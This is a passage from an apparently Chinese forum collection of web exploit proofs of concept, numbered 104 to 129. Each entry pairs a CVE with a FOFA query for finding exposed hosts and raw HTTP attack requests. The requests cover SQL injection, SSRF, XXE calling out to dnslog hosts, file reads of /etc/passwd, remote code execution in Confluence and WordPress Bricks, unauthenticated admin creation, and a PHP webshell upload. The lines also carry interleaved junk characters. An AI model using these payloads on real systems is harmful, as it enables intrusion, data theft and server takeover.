. Y; N2 w5 O4 z% J; rAccept-Encoding: gzip
. b0 h5 \4 N: O: f6 X& W0 L+ N
' S& I9 b0 L# k8 u1 q3 i6 }SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

: J- J; @' n& O0 |
2 d% P. r; a+ ?; r其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

* c1 p& G: G0 U
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
FOFA：title="TOTOLINK"
  t: `+ P6 |$ W& t* O( G- }POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host:192.168.0.1
Content-Length:41
+ Z% }2 i# V! R5 z0 mAccept:application/json,text/javascript，*/*;q=0.01
$ z) p( C( a4 b( o" B( C5 TX-Requested-with: XMLHttpRequest
% ]! m1 e  n7 C- m# E7 d% C1 CUser-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
Content-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
1 _6 D: M) a- w$ v. \5 KAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close

{
"topicurl":"getSysStatusCfg",
  q. z/ w; c9 k4 S: j"token":""
}
, i6 U2 X1 D  d7 M2 N# @! J3 u
8 j/ W* W& _+ _/ @1 R) [& `4 B105. SpringBlade v3.2.0 export-user SQL 注入
" t; r! h% t4 {8 r1 }FOFA：body="https://bladex.vip"
! P- f4 N9 n. w* z* C; Ahttp://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1
$ P$ _$ X" f7 p2 z2 I0 K4 \; T
106. SpringBlade dict-biz/list SQL 注入
2 w5 r0 m6 C- n' ?" `6 z5 DFOFA：body="Saber 将不能正常工作"
+ G+ _) ~3 u6 j8 M. @  I2 LGET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
! K4 T4 b1 h( n' ~  b1 ?* aHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 c2 P4 F* Q7 y; ]3 T; _  M4 w  d8 [Blade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
8 }) a: i* r4 q; ~$ E4 ]4 Z; `, lAccept-Encoding: gzip, deflate
; ]7 m6 d7 }2 P+ M( t9 m7 ~% m; ~4 DAccept-Language: zh-CN,zh;q=0.9
Connection: close


107. SpringBlade tenant/list SQL 注入
) B/ r% ]2 X, ~+ q6 o9 F* YFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
/ B  y& R7 H, _4 gConnection: close
6 ^6 o9 f, z9 E  C. p
. E) U: |- V* ^0 L# a+ c  q6 g' o7 F
1 h0 g3 A8 z: ~$ h# ?1 F" T108. D-Tale 3.9.0 SSRF
CVE-2024-21642
3 R9 @5 ?7 o5 s' ?9 PFOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
$ r: n4 Z. x3 bHost: your-ip
' W9 S: ?2 `# {; B; l8 H2 ?2 vAccept: application/json, text/plain, */*
' }6 [; D& k3 r5 c! \. eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
" I' _  ?( G: J; B# Z2 A3 |+ O. _

5 T% d* T& H( c( k1 U109. Jenkins CLI 任意文件读取
CVE-2024-23897
! o3 H3 m, d+ _. kFOFA：header="X-Jenkins"
% m7 ~5 t0 |% A' L! S' KPOST /cli?remoting=false HTTP/1.1
3 B. j2 \: I+ O  sHost:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
' U# c1 R% D6 W2 y5 oSide: upload
- c: I+ A$ F( Z4 ?Connection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
* q7 A1 Q5 |2 `7 k$ Y

. z+ z, O$ m9 ~) I1 n9 a( tPOST /cli?remoting=false HTTP/1.1
% ^: @1 A1 R- W2 ~Host:
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
9 d' }, y/ R, ?6 ^

ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
/ J+ j; e" g6 x- Ojava -jar jenkins-cli.jar help
0 t: P+ o8 t% |  M- p8 V, i8 A- U/ n( L[COMMAND]
: Q. y3 l+ |+ Y7 ELists all the available commands or a detailed description of single command.
: ]' i( P" I8 I" W COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


110. Goanywhere MFT 未授权创建管理员
CVE-2024-0204
0 C% B( J- e1 f! Z# x+ u% Z+ @FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
) x' \% x+ m+ D6 I2 _GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
8 F, W( Q6 L5 j. y/ tConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

3 r! e; {- m  P
- h& T7 M2 y  Z4 y111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
# T  j! t2 ], [) `4 O1 [& aFOFA："wordpress" && body="html5-video-player"
! B) s! V! B. x% BGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
Host: 192.168.40.130:112
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
, a& p  r/ Q! c* n& o$ p9 E! E" aAccept: */*
Accept-Language: en
Accept-Encoding: gzip
! }7 o/ `2 }1 u4 t& Z' W+ c, L, _+ z9 B
, b% M- m, l& Y! l, `4 }
8 M% M; G0 U& h2 S1 l112. WordPress Plugin NotificationX SQL 注入
/ R  X$ W! O, C0 ?- ICVE-2024-1698
: p. H" k, g4 U5 F5 `FOFA：body="/wp-content/plugins/notificationx"
) w! J$ W6 d1 Z  p: s: g. X: CPOST /wp-json/notificationx/v1/analytics HTTP/1.1
# ]) G6 o0 @; KHost: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}


113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
* e( _6 i- d# [9 H( zGET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
0 b* V& A$ g9 oHost: x.x.x.x
) ^3 L' ^5 e4 w9 t5 }# R2 SUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
3 I/ z  F& Z. d: V8 w0 ~Accept-Encoding: gzip


' q$ l6 [9 e+ J5 ?5 U114. WordPress MasterStudy LMS插件 SQL注入
$ O- N/ K& {2 j7 _, P, |3 V% r% RFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
( c# \$ A/ n. e' j- W+ N2 RGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
4 V9 j0 n5 `" ?+ Y* Q5 nAccept-Encoding: gzip, deflate
Connection: close


9 d2 H( T5 ^! Y/ H115. WordPress Bricks Builder <= 1.9.6 RCE
CVE-2024-25600
6 O9 n0 O4 G5 A' q3 \FOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
2 V) I4 i& Y$ `/ @GET / HTTP/1.1
, K5 o' S: i) e, d- Q) rHost: x.x.x.x
4 Q+ h+ g1 ?5 V4 c4 |4 |$ |User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
: {, J9 A/ n8 r" BAccept-Encoding: gzip


第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
& `! S9 ]& G) d4 D8 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Content-Length: 356
; G: i& B( [: D9 ^Content-Type: application/json
' z% l& `3 |7 UAccept-Encoding: gzip

7 A4 j& E& p% I% v{
. {- Q: u6 S- f+ [& I! m"postId": "1",
  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
    "settings": {
8 G/ p* E" j  c/ [  t4 A8 }5 e      "hasLoop": "true",
$ y' ~: T% y6 L; }8 w$ o: w) ~0 E7 z      "query": {
8 T( F( E- H0 F& e        "useQueryEditor": true,
% s1 p8 `- b$ x: q        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
! h8 i7 M: x# j0 F. G  }
( `  `/ i. R, M# w1 a0 q}
/ W# o  a- t& w8 s7 B: s# m, k

116. wordpress js-support-ticket文件上传
/ V& G" u+ V5 G, T" q" \FOFA：body="wp-content/plugins/js-support-ticket"
POST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
Host:
) s1 W' F! R  @- z6 J1 \Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0
- D2 o& H; h& @& a  C3 e
----------767099171
6 O1 w! y2 C( [: X5 bContent-Disposition: form-data; name="action"
1 H) P+ c& B" W( N6 U7 `* p; ]configuration_saveconfiguration
' w) V' ]" m: }0 [! W# ~----------767099171
Content-Disposition: form-data; name="form_request"
jssupportticket
----------767099171
Content-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
  S2 R) {( f5 z- P0 }----------767099171--


1 ^& M( P$ E: W6 j2 M& Z117. WordPress LayerSlider插件SQL注入
  D$ h4 H- `2 o! R  M4 T& [version：7.9.11 – 7.10.0
  f2 A5 e1 k/ J$ v0 _0 |* w3 wFOFA：body="/wp-content/plugins/LayerSlider/"
$ M3 ^) o6 B3 A  t& H2 mGET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
/ `: C) R$ M: c2 y' f  {Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
+ k4 o( J: @8 j& [* ^  [" F) {! gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) b' Z9 G" ?7 D7 A' k2 e: }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
0 f" B8 w* f. A& K% `# m8 H9 oConnection: close
- A$ s  z( j7 W: ]  ?1 i+ J. cUpgrade-Insecure-Requests: 1


7 y9 p3 Q$ }, O3 Z5 t118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
CVE-2024-0939
FOFA：title="Smart管理平台"
POST /Tool/uploadfile.php? HTTP/1.1
Host: 192.168.40.130:8443
Cookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
" t: K8 ]2 ~* x8 T' xContent-Length: 405
( k9 N5 S3 b# u8 zOrigin: https://192.168.40.130:8443
( N3 h/ x# K9 A8 {" s6 f4 h' gReferer: https://192.168.40.130:8443/Tool/uploadfile.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
+ X2 g8 C, t# ?( u7 s% v/ Q4 ~Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
, a6 z) K, b; ^; q6 ^Te: trailers
. i$ ]4 H5 I( t2 t) ~4 B3 EConnection: close

-----------------------------13979701222747646634037182887
& R( R* o* F# \8 s2 N, t$ l5 g( h. GContent-Disposition: form-data; name="file_upload"; filename="contents.php"
# C9 ?2 d+ j/ L3 \1 t7 hContent-Type: application/octet-stream
9 e' A6 U1 j- ]' r
. N1 M3 k& A9 e! y1 ?. r<?php
system($_POST["passwd"]);
?>
-----------------------------13979701222747646634037182887
; w' v# [1 u, v7 e: H; a. QContent-Disposition: form-data; name="txt_path"

/home/src.php
-----------------------------13979701222747646634037182887--

8 J$ z' h0 I' ^! Z# z4 G! l
访问/home/src.php
1 ^$ E0 S- o& u1 |- t
119. 北京百绰智能S20后台sysmanageajax.php sql注入
CVE-2024-1254
$ _4 d( p& C6 M4 n  {# A8 dFOFA：title="Smart管理平台"
9 X, B' k4 g0 Y% s4 ?& t先登录进入系统，默认账号密码为admin/admin
POST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
Cookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
" R, D) k# g. @# `Accept: */*
- y9 S6 ?7 u& e: nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 k1 x: H1 W0 U$ XAccept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
& |! l2 ~1 P+ A( H8 G0 FSec-Fetch-Dest: empty
  k$ j( N" {) S1 G  S2 }4 ]) mSec-Fetch-Mode: cors
8 l; [6 Q+ Z% T6 |( E3 |9 t. OSec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
* c% j0 X; F* s: Q" |3 o& s3 }) jX-Originating-Ip: 1.1.1.1
8 H8 y/ c0 n4 S8 zX-Remote-Ip: 1.1.1.1
$ g! {& l+ J; T7 V, }! U, pX-Remote-Addr: 1.1.1.1
% @# Z, m' C, Q* Y7 O! ~; E9 I- kTe: trailers
Connection: close

+ _7 s; R: `) Asrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456
) j- o2 ^4 x- k( p

6 d6 B) }7 e. j& z120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
0 c3 i; d2 t$ r# x( kPOST /useratte/web.php? HTTP/1.1
Host: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
# Y" s3 n: n9 S/ t  ]5 lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 597
& U" q# w  ~5 n  O8 i( ROrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
8 w7 s' r( U4 p6 z: f7 g0 _Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
" a) [: [0 S3 F7 r* D$ {  X7 YSec-Fetch-Site: same-origin
7 k7 ~/ l. B0 a7 L6 ]Sec-Fetch-User: ?1
Te: trailers
$ [0 s! ]9 y9 R5 P6 l- b& wConnection: close
8 _, f+ A$ O1 g" }  _2 `
-----------------------------42328904123665875270630079328
: t. s# Q0 H1 h5 }! NContent-Disposition: form-data; name="file_upload"; filename="2.php"
1 i! P. ]2 p/ s8 m4 b! |( ]Content-Type: application/octet-stream
0 }( I* S, s( u8 U6 @* |
: O, K' k, F. T. Q9 E. X! d<?php phpinfo()?>
, {+ A5 y1 x- B% D( \-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
( R2 ^# F+ U2 M6 z* [) j
' ]% |- m" w% R5 f. e1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"
5 m1 l' y; N9 A% c9 d
7 J! g, g/ b9 [) s; R9 I1_radhttp
9 `* B! A) }" G: z- w% L-----------------------------42328904123665875270630079328
, p0 Y4 B( u3 `2 {/ EContent-Disposition: form-data; name="mode"

import
-----------------------------42328904123665875270630079328


文件路径/upload/2.php
4 U" h" p. I/ A
+ q$ C( B0 C- r. E) U* `- f121. 北京百绰智能S42管理平台userattestation.php任意文件上传
CVE-2024-1918
: F0 a, I1 a5 h+ L9 |FOFA：title="Smart管理平台"
0 l( b- j+ U1 ]" Q- [* hPOST /useratte/userattestation.php HTTP/1.1
0 V. \6 g" O9 A3 \0 h- sHost: 192.168.40.130:8443
Cookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
9 y# N1 t4 c) b5 p& r% Z6 q3 {User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
% `4 t5 p) q$ T/ _  X& W8 TContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
Origin: https://192.168.40.130:8443
9 E9 Z7 f8 i: K: N* U- R8 e+ eUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 y4 W5 X& n  \( E. B5 e+ mSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
$ ^$ p+ @6 \! Q0 I1 fTe: trailers
! w1 n, X4 d% H5 t& B) `Connection: close

-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream
, _0 v+ n% J) w2 t& U1 W( m! G
) }+ \$ M1 i1 y5 T2 H/ [1 @<?php phpinfo();?>
0 e  ~4 b8 A6 P+ C-----------------------------42328904123665875270630079328
9 W+ X& r1 j, n% LContent-Disposition: form-data; name="id_type"
- _  \* Z( _5 O+ p: g* Y# }4 X
" j( h$ J# f* c1
-----------------------------42328904123665875270630079328
* g: k* o7 G' w1 ]/ oContent-Disposition: form-data; name="1_ck"
+ `# d, Z' N8 p, P
* ~  B' b" i% X& e1 Y1_radhttp
-----------------------------42328904123665875270630079328
1 w( A. E& O/ n3 t8 aContent-Disposition: form-data; name="hidwel"

set
. @" [; ~/ e. L9 b1 o-----------------------------42328904123665875270630079328
0 i& z( Y- i# L7 e. e9 \' D

# t( ~, }+ `5 i" i; s9 n+ o9 pboot/web/upload/weblogo/1.php

122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
- ]* V) ?" t3 ?2 N2 E( s, F! O其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
GET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
* k3 y3 S8 @; a8 \1 R! VHost: x.x.x.x
" U* e' h; j% U  }* J) jCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 Q  L+ ^6 L9 D4 T  Q6 bAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
! i4 J; w( t- v, ~  q7 RSec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
; m+ r/ q- ]: k8 NConnection: close


# l3 F& h; \" i/ l3 |# {9 k: k123. Atlassian Confluence 模板注入代码执行
FOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
) m) M; s) n: h. PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
" a3 @. B6 o2 l  ?6 H7 `7 v+ c9 H- F
label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))
4 j0 R* E5 k# u

124. 湖南建研工程质量检测系统任意文件上传
" W- u- m4 r1 z, l+ r/ d: K" ZFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
8 T2 {8 E) B% ~. uHost: 192.168.40.130:8282
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
! ~; A0 {) d3 b0 x0 R$ u, LAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" ^5 f4 W( |. F8 y9 e7 X8 c: s' UConnection: close
% r! G/ u# J+ a2 Y* w1 D# NContent-Type: application/x-www-form-urlencoded

filePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>
) n4 t5 J3 x7 C! ]" S0 I

http://192.168.40.130:8282/Scripts/abcgcg.aspx

125. ConnectWise ScreenConnect身份验证绕过
CVE-2024-1709
FOFA：icon_hash="-82958153"
9 x' @) [( l+ S& h- ihttps://github.com/watchtowrlabs ... bypass-add-user-poc
+ A5 G  _+ B% o1 B: ^1 D0 ^6 L

- i3 \, k! n4 i2 P3 |! s使用方法
) f$ ^$ ?3 `" S" k% K) f, W/ Xpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!
1 h' ^9 H- Q$ k# W7 s( w$ q, ^

创建好用户后直接登录后台，可以执行系统命令。

2 s* j" O  ^; E, c! Q. P126. Aiohttp 路径遍历
* i) o. r/ z' X( S5 gFOFA：title=="ComfyUI"
* b" d# g4 u: j% k7 x8 ?' MGET /static/../../../../../etc/passwd HTTP/1.1
9 A6 h5 ^" r0 _4 L* zHost: x.x.x.x
3 T$ K( M1 |2 c5 UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
1 A' _! `0 X9 U9 G, q$ @Accept-Encoding: gzip


2 h( B! {  v) l1 L127. 广联达Linkworks DataExchange.ashx XXE
0 X4 R' E& ?# A* m7 `FOFA：body="Services/Identification/login.ashx"
0 K) F* Y2 D% j1 m2 L6 H- aPOST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
& x- E+ [, }1 w9 @Host: 192.168.40.130:8888
3 L/ U% S* C4 R# M1 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
/ {7 p; @9 V8 S" r6 O7 u- zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
7 w0 |5 g; c* hAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
Sec-Purpose: prefetch;prerender

% f  H/ l! E) w2 O1 v------WebKitFormBoundaryJGgV5l5ta05yAIe0
9 N; r4 A7 n1 O' U6 q1 A2 L& @Content-Disposition: form-data;name="SystemName"

BIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
7 a) q1 _. D/ _; J# H$ s$ EContent-Disposition: form-data;name="Params"
" j6 x4 }4 Y3 Z0 W5 K, D' gContent-Type: text/plain
* ?5 U5 ?/ x7 @8 |& R9 p' g$ i
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
' ]1 d. P( _, n1 E$ M0 @1 Q$ ?<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
6 Z& v1 C" }+ `% T, l9 j# {]
) i. E6 W9 M4 [/ n; |, K) r>
; w3 h. b2 N8 e# P* P<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
2 A' J8 z4 v. B' u* KFOFA：app="Adobe-ColdFusion"
+ W1 O2 S& G1 Z( X7 c* r4 B% APAYLOAD
9 q: C5 r4 C' d" H  f0 }) n* a9 b
* G/ O% q; E# A& N) K129. Adobe ColdFusion 任意文件读取
  N8 G8 E2 t/ zCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
* u1 G% F# w3 k' `+ H1 jGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
. [! l2 X0 M5 S  j% ?/ l/ P4 T  j: N  \Accept: */*
+ \4 i5 K  V1 X& F+ H) S8 AAccept-Encoding: gzip, deflate
Connection: close
  t6 q8 l/ y0 J4 V- O

! k8 C& B8 _* {8 e* i第二步，读取/etc/passwd文件
6 z" z5 Q+ m+ A2 bGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
- ~9 i7 c/ T4 ^3 }! D" H# f4 D6 MHost: x.x.x.x
